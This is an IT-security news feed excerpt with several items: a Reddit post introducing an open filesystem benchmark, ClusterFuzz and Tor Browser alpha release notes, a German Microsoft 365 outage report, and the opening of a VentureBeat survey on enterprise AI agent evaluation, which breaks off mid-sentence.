<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.5]]></title>
<description><![CDATA[What's Changed

[NDB PERMISSION_DENIED error] Fix trusty stacktrace on ANDROID_EMULATOR by @IvanBM18 in #5375
Fix engine fuzzers blobstore downloads  by @dylanjew in #5386

Full Changelog: v2.35.4...v2.35.5]]></description>
<link>https://tsecurity.de/de/3690264/it-security-tools/v2355/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690264/it-security-tools/v2355/</guid>
<pubDate>Thu, 23 Jul 2026 23:35:30 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[NDB PERMISSION_DENIED error] Fix trusty stacktrace on ANDROID_EMULATOR by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IvanBM18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IvanBM18">@IvanBM18</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953677825" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5375" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5375/hovercard" href="https://github.com/google/clusterfuzz/pull/5375">#5375</a></li>
<li>Fix engine fuzzers blobstore downloads  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962228186" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5386" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5386/hovercard" href="https://github.com/google/clusterfuzz/pull/5386">#5386</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.4...v2.35.5"><tt>v2.35.4...v2.35.5</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft 365 "gestört": Microsoft bestätigt Leistungsbeeinträchtigung]]></title>
<description><![CDATA[Microsoft hat einen Ausfall bei mehreren Diensten von Microsoft 365 bestätigt. Betroffen sind unter anderem Teams, Outlook und SharePoint. Nutzer berichten seit Donnerstagmittag von Verbindungsproblemen und langsamen Zugriffen.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3690023/it-security-nachrichten/microsoft-365-gestoert-microsoft-bestaetigt-leistungsbeeintraechtigung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690023/it-security-nachrichten/microsoft-365-gestoert-microsoft-bestaetigt-leistungsbeeintraechtigung/</guid>
<pubDate>Thu, 23 Jul 2026 20:54:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160170.html"><img hspace="5" border="0" align="left" alt="Fehler, Bug, Störung, Fehlerbehebung, defekt, Error" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/59676.jpg"></a>
			Microsoft hat einen Ausfall bei mehreren Diensten von Microsoft 365 bestätigt. Betroffen sind unter anderem Teams, <a href="https://winfuture.de/special/microsoft-outlook/" title="Microsoft Outlook Special">Outlook</a> und SharePoint. Nutzer berichten seit Donnerstagmittag von Verbindungsproblemen und langsamen Zugriffen.			(<a href="https://winfuture.de/news,160170.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.3]]></title>
<description><![CDATA[What's Changed

Gracefully handle invalid ghost fuzzer configurations by @dylanjew in #5380
[Adroid v4 API] Add Android Build API V4 REST client and tests by @IvanBM18 in #5370

Full Changelog: v2.35.2...v2.35.3]]></description>
<link>https://tsecurity.de/de/3689848/it-security-tools/v2353/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689848/it-security-tools/v2353/</guid>
<pubDate>Thu, 23 Jul 2026 19:35:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Gracefully handle invalid ghost fuzzer configurations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960697173" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5380" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5380/hovercard" href="https://github.com/google/clusterfuzz/pull/5380">#5380</a></li>
<li>[Adroid v4 API] Add Android Build API V4 REST client and tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IvanBM18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IvanBM18">@IvanBM18</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936013670" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5370" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5370/hovercard" href="https://github.com/google/clusterfuzz/pull/5370">#5370</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.2...v2.35.3"><tt>v2.35.2...v2.35.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.4]]></title>
<description><![CDATA[What's Changed

symbolizer: Fix args for the default symbolizer by @g-ortuno in #5379

Full Changelog: v2.35.3...v2.35.4]]></description>
<link>https://tsecurity.de/de/3689847/it-security-tools/v2354/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689847/it-security-tools/v2354/</guid>
<pubDate>Thu, 23 Jul 2026 19:35:19 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>symbolizer: Fix args for the default symbolizer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960632418" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5379" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5379/hovercard" href="https://github.com/google/clusterfuzz/pull/5379">#5379</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.3...v2.35.4"><tt>v2.35.3...v2.35.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving 